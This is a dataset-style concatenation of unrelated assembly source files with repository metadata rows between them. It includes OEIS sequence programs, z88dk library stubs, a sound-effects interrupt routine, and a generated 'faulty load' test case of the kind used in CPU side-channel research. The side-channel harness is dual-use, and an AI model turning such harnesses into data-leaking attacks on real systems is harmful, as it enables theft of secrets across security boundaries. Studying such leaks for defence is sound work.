_main PROC ; Print "Computer Architecture"
push 0 ; MB_OK (0 = OK button only)
push OFFSET caption ; lpCaption
push OFFSET output ; lpText
push 0 ; hWnd handle owner window (0 = no owner)
call MessageBoxA
INVOKE GetCurrentProcessId
mov PID, eax
mov edi, OFFSET [PID+3] ; Pointer to end of PID string
convert:
xor edx, edx
div decimal ; Divide by 10
add edx, 48 ; Add 48 to remainder
mov BYTE PTR [edi], dl ; Store
dec edi ; Next digit
cmp eax, 0 ; Is EAX = 0?
jg convert ; If greater than 0, more digits
INVOKE MessageBoxA, 0, OFFSET PID, OFFSET caption, 0
INVOKE ExitProcess, 0
_main ENDP
END
| 22.717391 | 71 | 0.687081 |
6df73531f33b885161cb9f134991f275f2ced0b6 | 640 | asm | Assembly | oeis/001/A001553.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/001/A001553.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/001/A001553.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A001553: a(n) = 1^n + 2^n + ... + 6^n.
; 6,21,91,441,2275,12201,67171,376761,2142595,12313161,71340451,415998681,2438235715,14350108521,84740914531,501790686201,2978035877635,17706908038281,105443761093411,628709267031321,3752628871164355,22418196307542441,134023513204581091,801721614904426041,4798267740520031875,28729438001035661001,172076350440523281571,1030958971698634262361,6178267197920533456195,37032206100719054633961,222006395422745649098851,1331104743501171511132281,7981962622908886040653315,47868455774040704115501321
mov $1,8
mov $2,6
mov $3,4
lpb $2
add $1,$3
mov $3,$2
sub $2,1
pow $3,$0
lpe
sub $1,11
mov $0,$1
| 42.666667 | 492 | 0.820313 |
43af20e6014aab559963fac0cae8e1458a48b8eb | 408 | asm | Assembly | Source/conversion_16.asm | Dogelix/SystemsProgramming_Stage1 | e3c0adf578a2690213232f5ac6fc8fca4f2f6b3d | [
"MIT"
] | null | null | null | Source/conversion_16.asm | Dogelix/SystemsProgramming_Stage1 | e3c0adf578a2690213232f5ac6fc8fca4f2f6b3d | [
"MIT"
] | null | null | null | Source/conversion_16.asm | Dogelix/SystemsProgramming_Stage1 | e3c0adf578a2690213232f5ac6fc8fca4f2f6b3d | [
"MIT"
] | null | null | null | Convert_ASCII_to_Int:
push ax
push dx
xor ax, ax
mov si, input_buffer
xor cx, cx
Convert_ASCII_to_Int_Loop:
cmp byte[si], 0
je Convert_ASCII_to_Int_Ret
mov al, byte[si]
sub al, '0'
imul cx, 10
add cl, al
inc si
jmp Convert_ASCII_to_Int_Loop
Convert_ASCII_to_Int_Ret:
pop dx
pop ax
ret
| 17 | 37 | 0.553922 |
04863efa61577f19004f77da277ec3961778f99c | 576 | asm | Assembly | programs/oeis/056/A056942.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/056/A056942.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/056/A056942.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A056942: Area of rectangle needed to enclose a non-touching spiral of length n on a square lattice.
; 0,1,2,4,6,6,9,12,12,12,16,20,20,20,20,25,30,30,30,30,30,36,42,42,42,42,42,42,49,56,56,56,56,56,56,56,64,72,72,72,72,72,72,72,72,81,90,90,90,90,90,90,90,90,90,100,110,110,110,110,110,110,110,110,110,110,121,132,132,132,132,132,132,132,132,132,132,132,144,156,156,156,156,156,156,156,156,156,156,156,156,169,182,182,182,182,182,182,182,182
mov $1,$0
seq $1,56943 ; Unused area of rectangle needed to enclose a non-touching spiral of length n on a square lattice.
add $0,$1
| 82.285714 | 339 | 0.722222 |
dd01c78eca32fdf96361a4ab0eba952c7106971f | 800 | asm | Assembly | programs/oeis/117/A117304.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/117/A117304.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/117/A117304.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A117304: Numbers with an even number of digits such that the second half is twice the first half.
; 12,24,36,48,1020,1122,1224,1326,1428,1530,1632,1734,1836,1938,2040,2142,2244,2346,2448,2550,2652,2754,2856,2958,3060,3162,3264,3366,3468,3570,3672,3774,3876,3978,4080,4182,4284,4386,4488,4590,4692,4794,4896
mov $2,$0
add $2,1
mov $9,$0
lpb $2
mov $0,$9
sub $2,1
sub $0,$2
mov $5,$0
mov $6,0
mov $7,2
lpb $7
mov $0,$5
mov $3,0
sub $7,1
add $0,$7
sub $0,1
lpb $0
mov $3,$0
mov $0,3
add $3,4
mov $4,-3
sub $4,$3
sub $4,1
mul $4,2
sub $3,$4
lpe
mov $8,$7
mul $8,$3
add $6,$8
mov $10,$3
lpe
min $5,1
mul $5,$10
mov $10,$6
sub $10,$5
mul $10,30
add $10,12
add $1,$10
lpe
mov $0,$1
| 18.181818 | 208 | 0.5525 |
eae774d28d16f4fc230863b2063f01d971a31021 | 3,992 | asm | Assembly | programs/oeis/169/A169713.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/169/A169713.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/169/A169713.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A169713: The function W_n(10) (see Borwein et al. reference for definition).
; 1,252,4653,31504,127905,384156,948157,2039808,3965409,7132060,12062061,19407312,29963713,44685564,64699965,91321216,126065217,170663868,227079469,297519120,384449121,490609372,619027773,773034624,956277025,1172733276,1426727277,1722942928,2066438529,2462661180,2917461181,3437106432,4028296833,4698178684,5454359085,6304920336,7258434337,8323976988,9511142589,10830058240,12291398241,13906398492,15686870893,17645217744,19794446145,22148182396,24720686397,27526866048,30582291649,33903210300,37506560301,41409985552,45631849953,50191251804,55108038205,60402819456,66096983457,72212710108,78772985709,85801617360,93323247361,101363367612,109948334013,119105380864,128862635265,139249131516,150294825517,162030609168,174488324769,187700779420,201701759421,216526044672,232209423073,248788704924,266301737325,284787418576,304285712577,324837663228,346485408829,369272196480,393242396481,418441516732,444916217133,472714323984,501884844385,532477980636,564545144637,598138972288,633313337889,670123368540,708625458541,748877283792,790937816193,834867338044,880727456445,928581117696,978492621697,1030527636348,1084753211949,1141237795600,1200051245601,1261264845852,1324951320253,1391184847104,1460041073505,1531597129756,1605931643757,1683124755408,1763258131009,1846414977660,1932680057661,2022139702912,2114881829313,2210995951164,2310573195565,2413706316816,2520489710817,2631019429468,2745393195069,2863710414720,2986072194721,3112581354972,3243342443373,3378461750224,3518047322625,3662208978876,3811058322877,3964708758528,4123275504129,4286875606780,4455627956781,4629653302032,4809074262433,4994015344284,5184602954685,5380965415936,5583232979937,5791537842588,6006014158189,6226798053840,6454027643841,6687843044092,6928386386493,7175801833344,7430235591745,7691835927996,7960753181997,8237139781648,8521150257249,8812941255900,9112671555901,9420502081152,9736595915553,10061118317404,10394236733805,10736120815056,11086942429057,11446875675708,11816096901309,12194784712960,12583119992961,12981285913212,13389467949613,13807853896464,14236633880865,14676000377116,15126148221117,15587274624768,16059579190369,16543263925020,17038533255021,17545594040272,18064655588673,18595929670524,19139630532925,19695974914176,20265182058177,20847473728828,21443074224429,22052210392080,22675111642081,23312009962332,23963139932733,24628738739584,25309046189985,26004304726236,26714759440237,27440658087888,28182251103489,28939791614140,29713535454141,30503741179392,31310670081793,32134586203644,32975756352045,33834450113296,34710939867297,35605500801948,36518410927549,37449951091200,38400404991201,39370059191452,40359203135853,41368129162704,42397132519105,43446511375356,44516566839357,45607602971008,46719926796609,47853848323260,49009680553261,50187739498512,51388344194913,52611816716764,53858482191165,55128668812416,56422707856417,57740933695068,59083683810669,60451298810320,61844122440321,63262501600572,64706786358973,66177329965824,67674488868225,69198622724476,70750094418477,72329270074128,73936519069729,75572214052380,77236730952381,78930448997632,80653750728033,82407022009884,84190652050285,86005033411536,87850562025537,89727637208188,91636661673789,93578041549440,95552186389441,97559509189692,99600426402093,101675357948944,103784727237345,105928961173596,108108490177597,110323748197248,112575172722849,114863204801500
mov $8,$0
lpb $0,1
sub $0,1
add $1,5
lpe
mov $0,4
add $4,$1
sub $1,2
add $3,$1
lpb $3,1
add $2,5
sub $3,1
lpe
lpb $2,1
add $0,$4
sub $2,1
lpe
mov $1,$0
sub $1,3
mov $5,6
mov $9,$8
lpb $5,1
add $1,$9
sub $5,1
lpe
mov $6,$8
lpb $6,1
sub $6,1
add $7,$9
lpe
mov $6,$8
mov $9,$7
mov $7,0
lpb $6,1
sub $6,1
add $7,$9
lpe
mov $5,50
mov $9,$7
lpb $5,1
add $1,$9
sub $5,1
lpe
mov $6,$8
mov $7,0
lpb $6,1
sub $6,1
add $7,$9
lpe
mov $6,$8
mov $9,$7
mov $7,0
lpb $6,1
sub $6,1
add $7,$9
lpe
mov $5,120
mov $9,$7
lpb $5,1
add $1,$9
sub $5,1
lpe
| 60.484848 | 3,339 | 0.861723 |
611d26323518ac3978e166247ffafba25b7a62f0 | 118 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/lround.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/lround.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/lround.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_fp_math48
PUBLIC lround
EXTERN cm48_sccz80_lround
defc lround = cm48_sccz80_lround
| 11.8 | 32 | 0.855932 |
d106b2b0da2a9103510d8ec3f92f78412228e729 | 600 | asm | Assembly | oeis/065/A065043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/065/A065043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/065/A065043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A065043: Characteristic function of the numbers with an even number of prime factors (counted with multiplicity): a(n) = 1 if n = A028260(k) for some k then 1 else 0.
; Submitted by Jamie Morken(s1)
; 1,0,0,1,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1
lpb $0
seq $0,86436 ; Maximum number of parts possible in a factorization of n; a(1) = 1, and for n > 1, a(n) = A001222(n) = bigomega(n).
mov $1,$0
cmp $0,$2
lpe
mov $0,$1
add $0,1
mod $0,2
| 46.153846 | 201 | 0.613333 |
f02fa125ee358132dcb25a5708cd03ed860254fa | 1,566 | asm | Assembly | src/ayfx.asm | headkaze/zxnext_sfx | f253e014e7a7c4c9efcae2e8a31d3a27bcc04b33 | [
"MIT"
] | null | null | null | src/ayfx.asm | headkaze/zxnext_sfx | f253e014e7a7c4c9efcae2e8a31d3a27bcc04b33 | [
"MIT"
] | null | null | null | src/ayfx.asm | headkaze/zxnext_sfx | f253e014e7a7c4c9efcae2e8a31d3a27bcc04b33 | [
"MIT"
] | null | null | null | SECTION code_user
EXTERN AYFX_INIT
EXTERN AYFX_PLAY
EXTERN AYFX_FRAME
PUBLIC _afx_init
PUBLIC _afx_play
PUBLIC _afx_frame
PUBLIC _afx_play_isr
_afx_init:
; hl contains afx bank address
di
push af
push bc
push de
push hl
push ix
call AYFX_INIT
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_play:
di
push af
push bc
push de
push hl
push ix
ld a,l
call AYFX_PLAY
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_frame:
di
push af
push bc
push de
push hl
push ix
call AYFX_FRAME
pop ix
pop hl
pop de
pop bc
pop af
ei
ret
_afx_play_isr:
di
push af
push bc
push de
push hl
ex af,af'
exx
push af
push bc
push de
push hl
push ix
push iy
; Check if afx_play_isr is enabled.
ld a,(_afx_play_isr_enabled)
or a
jr z,end
; Check if 60 Hz mode.
ld a,5
ld bc,$243B
out (c),a
inc b
in a,(c)
bit 2,a
jr z,play
; Compensate for 60 Hz mode by skip calling AYFX_FRAME every 6th frame.
ld a,(_frame_counter)
cp 5
jr nz,inc_frame_counter
ld a,0
ld (_frame_counter),a
jr end
inc_frame_counter:
ld hl,_frame_counter
inc (hl)
play:
call AYFX_FRAME
end:
pop iy
pop ix
pop hl
pop de
pop bc
pop af
exx
ex af,af'
pop hl
pop de
pop bc
pop af
ei
reti
_afx_play_isr_enabled:
DEFB 1
_frame_counter:
DEFB 0
| 12.330709 | 75 | 0.575351 |
3daf500d993306717be4912387c59e0e3891f3be | 609 | asm | Assembly | oeis/181/A181407.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/181/A181407.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/181/A181407.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A181407: a(n) = (n-4)*(n-3)*2^(n-2).
; 3,3,2,0,0,16,96,384,1280,3840,10752,28672,73728,184320,450560,1081344,2555904,5963776,13762560,31457280,71303168,160432128,358612992,796917760,1761607680,3875536896,8489271296,18522046464,40265318400,87241523200,188441690112,405874409472,871878361088,1868310773760,3994319585280,8521215115264,18141941858304,38551626448896,81776177315840,173173081374720,366137372049408,772956674326528,1629476232364032,3430476278661120,7212796278210560,15146872184242176,31771487996215296,66568831992070144
mov $1,$0
sub $1,3
bin $1,2
mov $2,2
pow $2,$0
mul $1,$2
mov $0,$1
div $0,2
| 50.75 | 492 | 0.819376 |
360e6e76b966c684c8d811f2f9f31b3488f6cae9 | 1,426 | asm | Assembly | programs/oeis/159/A159355.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/159/A159355.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/159/A159355.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A159355: Number of n X n arrays of squares of integers summing to 4.
; 5,135,1836,12675,58941,211925,635440,1663821,3921325,8495531,17179020,32795295,59626581,103962825,174792896,284660665,450710325,695946991,1050740300,1554600411,2258257485,3226077405,4538848176,6296973125,8624108701,11671286355,15621559660,20695219511,27155621925,35315674641,45545030400,58278036465,74022491621,93369263575,117002821356,145712738995,180406228445,222121761381,272043841200,331518988221,402073002765,485429572475,583530291916,698556164175,832950655861,989444378585,1171081471680,1381247762601,1623700783125,1902601721151,2222549389580,2588616295435,3006386894061,3481998114925,4022182247216,4634312275125,5326449754365,6107395323171,6986741942700,7974930963431,9083311115845,10324200525345,11710951853056,13258020665825,14981037140421,16896881208615,19023761251500,21381296453091,23990602924925,26874383715061,30057022816560,33564683292205,37425409633901,41669234476875,46328289790476,51436922669055,57031815848085,63152113072361,69839549444800,77138586886041,85096554836725,93763796336015,103193819611596,113443455318075,124573019562381,136646482856445,149731645139120,163900317010981,179228507327325,195796617296371,213689641231340,232997374106775,253814626071141,276241444069425,300383340731136,326351530680785,354263174429605,384241630008951,416416712507500
add $0,2
mov $2,$0
mul $2,$0
mov $1,$2
sub $1,4
bin $2,4
add $1,$2
add $1,4
| 118.833333 | 1,277 | 0.890603 |
27af93430f3d72aef965e84422332fa0170f767f | 347 | asm | Assembly | libsrc/stdio/ansi/cpc/f_ansi_bel.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/stdio/ansi/cpc/f_ansi_bel.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | libsrc/stdio/ansi/cpc/f_ansi_bel.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | ;
; ANSI Video handling for the Amstrad CPC
;
; BEL - chr(7) Beep it out
;
;
; Stefano Bodrato - Jul. 2004
;
;
; $Id: f_ansi_bel.asm,v 1.4 2009/06/22 21:44:17 dom Exp $
;
XLIB ansi_BEL
INCLUDE "cpcfirm.def"
XREF firmware
.ansi_BEL
ld a,7
call firmware
defw txt_output
ret
| 14.458333 | 57 | 0.54755 |
31e5217d9ac89240cf0305dd4c11457b3ba135cb | 437 | asm | Assembly | programs/oeis/163/A163980.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/163/A163980.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/163/A163980.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A163980: a(n) = 2*n + (-1)^n.
; 1,5,5,9,9,13,13,17,17,21,21,25,25,29,29,33,33,37,37,41,41,45,45,49,49,53,53,57,57,61,61,65,65,69,69,73,73,77,77,81,81,85,85,89,89,93,93,97,97,101,101,105,105,109,109,113,113,117,117,121,121,125,125,129,129,133,133,137,137,141,141,145,145,149,149,153,153,157,157,161,161,165,165,169,169,173,173,177,177,181,181,185,185,189,189,193,193,197,197,201
mov $1,1
add $1,$0
div $1,2
mul $1,4
add $1,1
mov $0,$1
| 43.7 | 347 | 0.661327 |
ae399799a8ddb9ef1222b234fda54733369e62ce | 3,969 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_13.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_13.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_13.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_A+0x5c02, %rax
add $36693, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, (%rax)
nop
nop
nop
nop
dec %rsi
// Faulty Load
lea addresses_RW+0x1fbd2, %r15
nop
nop
nop
sub $45616, %r11
mov (%r15), %r12w
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 69.631579 | 2,999 | 0.662383 |
a3e17a34df6ae0f9dbb86ebb5713d8ca75dd4bbb | 397 | asm | Assembly | programs/oeis/071/A071602.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/071/A071602.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/071/A071602.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A071602: Sum of the reverses of the first n primes.
; 2,5,10,17,28,59,130,221,253,345,358,431,445,479,553,588,683,699,775,792,829,926,964,1062,1141,1242,1543,2244,3145,3456,4177,4308,5039,5970,6911,7062,7813,8174,8935,9306,10277,10458,10649,11040,11831
lpb $0
mov $2,$0
seq $2,4087 ; Primes written backwards.
add $3,$2
mov $4,$2
min $4,1
sub $0,$4
lpe
add $1,$3
add $1,2
mov $0,$1
| 26.466667 | 200 | 0.68262 |
000ac9cd5cfd9afdd25c882b0e8ccc621603b491 | 836 | asm | Assembly | 006.BootSectorSegmentation/main.asm | mukeshmike9/AssemblyBootSector | e58028454f2cd8c8cccf5644b723d76bbdc49958 | [
"MIT"
] | 1 | 2020-04-26T03:47:10.000Z | 2020-04-26T03:47:10.000Z | 006.BootSectorSegmentation/main.asm | mukeshmike9/AssemblyBootSector | e58028454f2cd8c8cccf5644b723d76bbdc49958 | [
"MIT"
] | null | null | null | 006.BootSectorSegmentation/main.asm | mukeshmike9/AssemblyBootSector | e58028454f2cd8c8cccf5644b723d76bbdc49958 | [
"MIT"
] | null | null | null | [org 0x7c00]
call init
mov ah, 0x0e ; tty
mov al, [the_secret]
int 0x10 ; we already saw this doesn't work, right?
mov bx, 0x7c0 ; remember, the segment is automatically <<4 for you
mov ds, bx
; WARNING: from now on all memory references will be offset by 'ds' implicitly
mov al, [the_secret]
int 0x10
mov al, [es:the_secret]
int 0x10 ; doesn't look right... isn't 'es' currently 0x000?
mov bx, 0x7c0
mov es, bx
mov al, [es:the_secret]
int 0x10
jmp $
init:
pusha
mov bx, OS_NAME
call print
call print_nl
mov bx, AUTHOR_NAME
call print
call print_nl
popa
ret
; Subroutines inclusion
%include "boot_sect_print.asm"
%include "boot_sect_print_hex.asm"
; Data Segment
the_secret:
db 'X'
OS_NAME:
db 'TindaOS', 0
AUTHOR_NAME:
db 'Mukesh Chaurasiya', 0
; Padding and magic number
times 510 - ($ - $$) db 0
dw 0xAA55
| 14.928571 | 78 | 0.712919 |
2e643355c615a2dd7afe58c4c9f896cbb02ebef7 | 1,949 | asm | Assembly | scripts/move_relearner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | scripts/move_relearner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | scripts/move_relearner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | MoveRelearnerText1:
TX_ASM
